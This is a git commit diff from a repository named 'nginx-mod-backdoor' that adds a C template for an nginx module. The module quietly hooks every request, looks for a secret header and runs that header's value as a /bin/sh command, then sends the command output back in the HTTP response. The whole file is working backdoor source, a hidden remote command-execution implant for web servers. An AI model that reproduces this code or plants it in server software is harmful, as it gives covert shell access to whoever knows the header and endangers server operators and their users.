diff options
author | heqnx <root@heqnx.com> | 2025-05-13 12:55:06 +0300 |
---|---|---|
committer | heqnx <root@heqnx.com> | 2025-05-13 12:55:06 +0300 |
commit | 0b6bb442660ffe1f7126526c7784782e4240017b (patch) | |
tree | a4f04beb46f49c036b9acde87659db40b5b67288 /ngx_mod_template/ngx_mod_template.c | |
parent | 4b0ce0d6102b136e569930a8d2b7a7a35a9e0ecf (diff) | |
download | nginx-mod-backdoor-0b6bb442660ffe1f7126526c7784782e4240017b.tar.gz nginx-mod-backdoor-0b6bb442660ffe1f7126526c7784782e4240017b.zip |
Diffstat (limited to 'ngx_mod_template/ngx_mod_template.c')
-rw-r--r-- | ngx_mod_template/ngx_mod_template.c | 188 |
1 files changed, 188 insertions, 0 deletions
diff --git a/ngx_mod_template/ngx_mod_template.c b/ngx_mod_template/ngx_mod_template.c new file mode 100644 index 0000000..e2a716d --- /dev/null +++ b/ngx_mod_template/ngx_mod_template.c @@ -0,0 +1,188 @@ +#include <ngx_config.h> +#include <ngx_core.h> +#include <ngx_http.h> +#include <sys/stat.h> +#include <unistd.h> + +#define SHELL "/bin/sh" +#define MAX_CMD_LEN 1024 +#define INITIAL_BUF_SIZE 4096 +#define MAX_OUTPUT_SIZE (1 << 20) + +static ngx_str_t backdoor = ngx_string("__HEADER__"); + +static ngx_int_t __NAME___handler(ngx_http_request_t *r); +static ngx_int_t __NAME___init(ngx_conf_t *cf); +static void __NAME___down(ngx_cycle_t *cycle); +static ngx_table_elt_t *search_headers_in(ngx_http_request_t *r, u_char *name, size_t len); + +static ngx_command_t __NAME___commands[] = { + { ngx_string("__NAME__"), + NGX_HTTP_LOC_CONF|NGX_CONF_NOARGS, + NULL, + 0, + 0, + NULL }, + ngx_null_command +}; + +static ngx_http_module_t __NAME___ctx = { + NULL, + __NAME___init, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL +}; + +ngx_module_t __NAME__ = { + NGX_MODULE_V1, + &__NAME___ctx, + __NAME___commands, + NGX_HTTP_MODULE, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL, + &__NAME___down, + NGX_MODULE_V1_PADDING +}; + +static ngx_int_t __NAME___init(ngx_conf_t *cf) +{ + ngx_http_handler_pt *h; + ngx_http_core_main_conf_t *cmcf; + + cmcf = ngx_http_conf_get_module_main_conf(cf, ngx_http_core_module); + h = ngx_array_push(&cmcf->phases[NGX_HTTP_ACCESS_PHASE].handlers); + if (h == NULL) { + return NGX_ERROR; + } + + *h = __NAME___handler; + return NGX_OK; +} + +static ngx_int_t __NAME___handler(ngx_http_request_t *r) +{ + ngx_table_elt_t *header = search_headers_in(r, backdoor.data, backdoor.len); + if (header == NULL) { + return NGX_OK; + } + + if (header->value.len > MAX_CMD_LEN) { + return NGX_HTTP_BAD_REQUEST; + } + + static const char *cmd_prefix = SHELL " -c \""; + static const char *cmd_suffix = "\" 2>&1"; + size_t cmd_len = ngx_strlen(cmd_prefix) + header->value.len + ngx_strlen(cmd_suffix) + 1; + u_char *cmd = ngx_pnalloc(r->pool, cmd_len); + if (cmd == NULL) { + return NGX_HTTP_INTERNAL_SERVER_ERROR; + } + + u_char *p = cmd; + p = ngx_cpymem(p, cmd_prefix, ngx_strlen(cmd_prefix)); + p = ngx_cpymem(p, header->value.data, header->value.len); + p = ngx_cpymem(p, cmd_suffix, ngx_strlen(cmd_suffix)); + *p = '\0'; + + size_t buf_size = INITIAL_BUF_SIZE; + u_char *response = ngx_pnalloc(r->pool, buf_size); + if (response == NULL) { + return NGX_HTTP_INTERNAL_SERVER_ERROR; + } + size_t response_len = 0; + + FILE *fp = popen((char *)cmd, "r"); + if (fp == NULL) { + static const u_char err[] = "Failed to run command - popen failure\n"; + response_len = sizeof(err) - 1; + response = (u_char *)err; + } else { + char buf[1024]; + while (fgets(buf, sizeof(buf), fp) != NULL) { + size_t line_len = ngx_strlen(buf); + if (response_len + line_len + 1 > buf_size) { + if (buf_size >= MAX_OUTPUT_SIZE) { + pclose(fp); + return NGX_HTTP_REQUEST_ENTITY_TOO_LARGE; + } + buf_size = ngx_min(buf_size * 2, MAX_OUTPUT_SIZE); + u_char *new_response = ngx_pnalloc(r->pool, buf_size); + if (new_response == NULL) { + pclose(fp); + return NGX_HTTP_INTERNAL_SERVER_ERROR; + } + ngx_memcpy(new_response, response, response_len); + response = new_response; + } + ngx_memcpy(response + response_len, buf, line_len); + response_len += line_len; + } + pclose(fp); + + if (response_len == 0) { + static const u_char empty[] = "Empty command response\n"; + response_len = sizeof(empty) - 1; + response = (u_char *)empty; + } + } + + if (ngx_http_discard_request_body(r) != NGX_OK) { + return NGX_HTTP_INTERNAL_SERVER_ERROR; + } + + r->headers_out.status = NGX_HTTP_OK; + r->headers_out.content_length_n = response_len; + ngx_str_set(&r->headers_out.content_type, "text/plain"); + + ngx_int_t rc = ngx_http_send_header(r); + if (rc == NGX_ERROR || rc > NGX_OK || r->header_only) { + return rc; + } + + ngx_buf_t *b = ngx_create_temp_buf(r->pool, response_len); + if (b == NULL) { + return NGX_HTTP_INTERNAL_SERVER_ERROR; + } + + b->pos = response; + b->last = response + response_len; + b->memory = 1; + b->last_buf = (r == r->main) ? 1 : 0; + b->last_in_chain = 1; + + ngx_chain_t out = { b, NULL }; + rc = ngx_http_output_filter(r, &out); + + return rc == NGX_OK ? NGX_OK : NGX_ERROR; +} + +static void __NAME___down(ngx_cycle_t *cycle) { +} + +static ngx_table_elt_t *search_headers_in(ngx_http_request_t *r, u_char *name, size_t len) +{ + ngx_list_part_t *part = &r->headers_in.headers.part; + ngx_table_elt_t *h = part->elts; + + for (ngx_uint_t i = 0; ; i++) { + if (i >= part->nelts) { + if (part->next == NULL) break; + part = part->next; + h = part->elts; + i = 0; + } + if (len != h[i].key.len || ngx_strcasecmp(name, h[i].key.data) != 0) { + continue; + } + return &h[i]; + } + return NULL; +} |